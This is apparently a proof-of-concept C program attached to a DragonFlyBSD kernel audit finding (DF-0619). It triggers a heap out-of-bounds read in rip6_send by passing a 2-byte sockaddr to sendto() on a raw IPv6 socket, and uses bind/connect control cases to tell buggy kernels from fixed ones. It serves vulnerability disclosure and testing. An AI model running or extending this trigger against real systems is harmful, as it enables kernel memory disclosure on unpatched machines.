โฌข DragonFlyBSD Kernel Audit
DF-0619 / poc_oob.c
โ† back to finding โ†“ download raw
/*
 * DF-0619 โ€” Heap OOB read in rip6_send via unvalidated sockaddr length.
 *
 * Trigger: open AF_INET6/SOCK_RAW (root needed for SYSCAP_NONET_RAW), then
 * call sendto() with a 2-byte sockaddr (only sa_len + sa_family filled in).
 *
 * getsockaddr() (uipc_syscalls.c:1519-1523) accepts len >= 2 and kmalloc()s
 * exactly `len` bytes. rip6_send() (raw_ip6.c:743) then dereferences it as
 * `tmp = *(struct sockaddr_in6 *)nam;` which copies 28 bytes from a 2-byte
 * allocation -> 26-byte heap over-read into the on-stack `tmp`.
 *
 * On the BUGGY kernel: sendto() reaches rip6_send and rip6_output; the return
 * code is whatever rip6_output() computes from the garbage destination
 * (typically EADDRNOTAVAIL / EHOSTUNREACH / ENETUNREACH), but NEVER EINVAL
 * (which would only come from a sa_len check that rip6_send lacks).
 *
 * On the FIXED kernel: rip6_send validates sa_len == sizeof(sockaddr_in6)
 * first and returns EAFNOSUPPORT / EINVAL before any over-read.
 *
 * Control case: rip6_bind() (raw_ip6.c:615) and rip6_connect() (line 663)
 * BOTH check sa_len == sizeof(*addr). So bind() and connect() with the same
 * 2-byte sockaddr return EINVAL on BOTH buggy and fixed kernels โ€” that
 * confirms we constructed the short sockaddr correctly.
 *
 * Usage:  ./poc_oob
 * Needs:  root (SYSCAP_NONET_RAW) โ€” or a jail with allow.raw_sockets.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <err.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define SHORT_SA_LEN 2   /* offsetof(struct sockaddr, sa_data[0]) โ€” minimum */

static void try_call(const char *what, int fd, int (*op)(int, const void *, size_t),
                     const unsigned char *sa, size_t slen)
{
    int rc, saved_errno;
    rc = op(fd, sa, slen);
    saved_errno = errno;
    printf("  %-22s rc=%d errno=%d (%s)\n",
           what, rc, saved_errno, strerror(saved_errno));
}

/* sendto wrapper for the function-pointer dance above */
static int sendto_op(int fd, const void *sa, size_t slen)
{
    char buf[1] = {0};
    return sendto(fd, buf, sizeof(buf), 0, (const struct sockaddr *)sa, slen);
}
static int bind_op(int fd, const void *sa, size_t slen)
{
    return bind(fd, (const struct sockaddr *)sa, slen);
}
static int connect_op(int fd, const void *sa, size_t slen)
{
    return connect(fd, (const struct sockaddr *)sa, slen);
}

int main(void)
{
    int fd, i, rc, saved_errno;
    unsigned char sa_short[SHORT_SA_LEN];

    /* short sockaddr: only sa_len + sa_family are valid */
    sa_short[0] = SHORT_SA_LEN;       /* sa_len  */
    sa_short[1] = AF_INET6;           /* sa_family */

    printf("DF-0619: rip6_send heap OOB read via short sockaddr\n");
    printf("sizeof(struct sockaddr_in6) = %zu\n", sizeof(struct sockaddr_in6));
    printf("short sockaddr sa_len       = %u\n", sa_short[0]);
    printf("over-read                   = %zu bytes\n",
           sizeof(struct sockaddr_in6) - SHORT_SA_LEN);
    printf("\n");

    /* IPPROTO_RAW (255) โ€” generic raw IPv6 socket, requires root */
    fd = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
    if (fd < 0) {
        /* fallback: try a different protocol number */
        fd = socket(AF_INET6, SOCK_RAW, 60 /* IPPROTO_DSTOPTS-ish */);
    }
    if (fd < 0) {
        int e = errno;
        printf("socket(AF_INET6, SOCK_RAW, ...) failed: %s\n", strerror(e));
        if (e == EPERM || e == EACCES)
            printf("  -> need root (SYSCAP_NONET_RAW)\n");
        return 1;
    }
    printf("opened AF_INET6/SOCK_RAW fd=%d\n\n", fd);

    printf("--- control case (these MUST return EINVAL on both buggy & fixed) ---\n");
    try_call("bind(2-byte sa)", fd, bind_op, sa_short, SHORT_SA_LEN);
    try_call("connect(2-byte sa)", fd, connect_op, sa_short, SHORT_SA_LEN);
    printf("\n");

    printf("--- BUGGY behavior: sendto() reaches rip6_send w/o sa_len check ---\n");
    printf("--- on buggy kernel: NOT EINVAL (typically EADDRNOTAVAIL/etc)   ---\n");
    printf("--- on fixed kernel: EAFNOSUPPORT / EINVAL immediately         ---\n");
    try_call("sendto(2-byte sa)", fd, sendto_op, sa_short, SHORT_SA_LEN);

    /* repeat a few times for stability */
    printf("\n--- 5x sendto(2-byte sa) for stability ---\n");
    for (i = 0; i < 5; i++) {
        char buf[1] = {0};
        rc = sendto(fd, buf, sizeof(buf), 0,
                    (const struct sockaddr *)sa_short, SHORT_SA_LEN);
        saved_errno = errno;
        printf("  iter %d: sendto rc=%d errno=%d (%s)\n",
               i, rc, saved_errno, strerror(saved_errno));
    }

    close(fd);
    return 0;
}